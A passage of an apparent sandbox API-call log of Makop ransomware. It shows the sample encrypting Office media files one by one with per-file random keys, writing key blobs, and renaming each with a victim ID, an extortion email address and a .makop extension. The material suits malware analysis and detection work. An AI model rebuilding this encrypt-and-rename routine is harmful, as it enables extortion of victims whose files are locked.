(in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0164.116] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0164.116] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0164.117] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0164.117] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0164.117] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0164.117] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0164.117] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0164.117] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.117] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x766, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x766, lpOverlapped=0x0) returned 1 [0164.117] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x770, dwBufLen=0x770 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x770) returned 1 [0164.118] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.118] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x770, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x770, lpOverlapped=0x0) returned 1 [0164.118] CryptDestroyKey (hKey=0x48c7128) returned 1 [0164.118] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x844, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.118] SetEndOfFile (hFile=0xf0) returned 1 [0164.125] GetProcessHeap () returned 0x48a0000 [0164.125] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0164.125] GetProcessHeap () returned 0x48a0000 [0164.125] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0164.125] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0293236.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 108 [0164.125] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0293236.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0293236.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0293236.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0293236.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0164.127] CloseHandle (hObject=0xf0) returned 1 [0164.127] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9af72900, ftCreationTime.dwHighDateTime=0x1bf16a4, ftLastAccessTime.dwLowDateTime=0xbd61d940, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x9af72900, ftLastWriteTime.dwHighDateTime=0x1bf16a4, nFileSizeHigh=0x0, nFileSizeLow=0x78a, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0293238.WMF", cAlternateFileName="")) returned 1 [0164.127] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0293238.WMF") returned 61 [0164.127] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0293238.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0293238.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0164.129] GetProcessHeap () returned 0x48a0000 [0164.129] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0164.129] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0164.129] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0164.129] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x6, lpOverlapped=0x0) returned 1 [0164.134] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0164.134] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0164.134] GetProcessHeap () returned 0x48a0000 [0164.134] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0164.134] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0164.134] CryptDestroyKey (hKey=0x48c7128) returned 1 [0164.134] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0164.134] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0164.134] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0164.135] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0164.135] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0164.135] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0164.135] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0164.135] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0164.135] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.135] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x78a, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x78a, lpOverlapped=0x0) returned 1 [0164.136] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x790, dwBufLen=0x790 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x790) returned 1 [0164.136] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.136] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x790, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x790, lpOverlapped=0x0) returned 1 [0164.136] CryptDestroyKey (hKey=0x48c7128) returned 1 [0164.136] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x864, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.136] SetEndOfFile (hFile=0xf0) returned 1 [0164.143] GetProcessHeap () returned 0x48a0000 [0164.143] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0164.143] GetProcessHeap () returned 0x48a0000 [0164.143] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0164.143] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0293238.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 108 [0164.143] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0293238.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0293238.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0293238.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0293238.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0164.145] CloseHandle (hObject=0xf0) returned 1 [0164.145] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c285600, ftCreationTime.dwHighDateTime=0x1bf16a4, ftLastAccessTime.dwLowDateTime=0xbd61d940, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x9c285600, ftLastWriteTime.dwHighDateTime=0x1bf16a4, nFileSizeHigh=0x0, nFileSizeLow=0x88e, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0293240.WMF", cAlternateFileName="")) returned 1 [0164.145] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0293240.WMF") returned 61 [0164.146] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0293240.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0293240.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0164.147] GetProcessHeap () returned 0x48a0000 [0164.147] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0164.147] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0164.147] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0164.147] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x2, lpOverlapped=0x0) returned 1 [0164.152] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0164.152] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0164.152] GetProcessHeap () returned 0x48a0000 [0164.152] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0164.152] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0164.152] CryptDestroyKey (hKey=0x48c7128) returned 1 [0164.152] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0164.152] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0164.152] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0164.153] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0164.153] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0164.153] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0164.153] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0164.153] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0164.153] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.153] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x88e, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x88e, lpOverlapped=0x0) returned 1 [0164.154] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x890, dwBufLen=0x890 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x890) returned 1 [0164.154] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.154] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x890, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x890, lpOverlapped=0x0) returned 1 [0164.154] CryptDestroyKey (hKey=0x48c7128) returned 1 [0164.154] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x964, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.154] SetEndOfFile (hFile=0xf0) returned 1 [0164.161] GetProcessHeap () returned 0x48a0000 [0164.161] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0164.161] GetProcessHeap () returned 0x48a0000 [0164.161] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0164.161] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0293240.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 108 [0164.161] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0293240.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0293240.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0293240.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0293240.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0164.163] CloseHandle (hObject=0xf0) returned 1 [0164.163] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x47a99d00, ftCreationTime.dwHighDateTime=0x1bf1523, ftLastAccessTime.dwLowDateTime=0xbd61d940, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x47a99d00, ftLastWriteTime.dwHighDateTime=0x1bf1523, nFileSizeHigh=0x0, nFileSizeLow=0x92c, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0293570.WMF", cAlternateFileName="")) returned 1 [0164.163] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0293570.WMF") returned 61 [0164.163] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0293570.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0293570.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0164.164] GetProcessHeap () returned 0x48a0000 [0164.164] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0164.164] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0164.165] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0164.165] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0164.169] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0164.169] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0164.169] GetProcessHeap () returned 0x48a0000 [0164.169] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0164.169] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0164.169] CryptDestroyKey (hKey=0x48c7128) returned 1 [0164.169] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0164.169] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0164.169] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0164.170] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0164.170] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0164.170] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0164.170] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0164.170] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0164.170] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.170] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x92c, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x92c, lpOverlapped=0x0) returned 1 [0164.170] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x930, dwBufLen=0x930 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x930) returned 1 [0164.171] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.171] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x930, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x930, lpOverlapped=0x0) returned 1 [0164.171] CryptDestroyKey (hKey=0x48c7128) returned 1 [0164.171] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0xa04, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.171] SetEndOfFile (hFile=0xf0) returned 1 [0164.178] GetProcessHeap () returned 0x48a0000 [0164.178] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0164.178] GetProcessHeap () returned 0x48a0000 [0164.178] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0164.178] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0293570.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 108 [0164.179] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0293570.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0293570.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0293570.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0293570.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0164.180] CloseHandle (hObject=0xf0) returned 1 [0164.180] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb0911500, ftCreationTime.dwHighDateTime=0x1bf1523, ftLastAccessTime.dwLowDateTime=0xbd643aa0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xb0911500, ftLastWriteTime.dwHighDateTime=0x1bf1523, nFileSizeHigh=0x0, nFileSizeLow=0x15ea, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0293828.WMF", cAlternateFileName="")) returned 1 [0164.180] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0293828.WMF") returned 61 [0164.180] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0293828.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0293828.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0164.183] GetProcessHeap () returned 0x48a0000 [0164.183] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0164.183] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0164.183] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0164.183] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x6, lpOverlapped=0x0) returned 1 [0164.188] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: 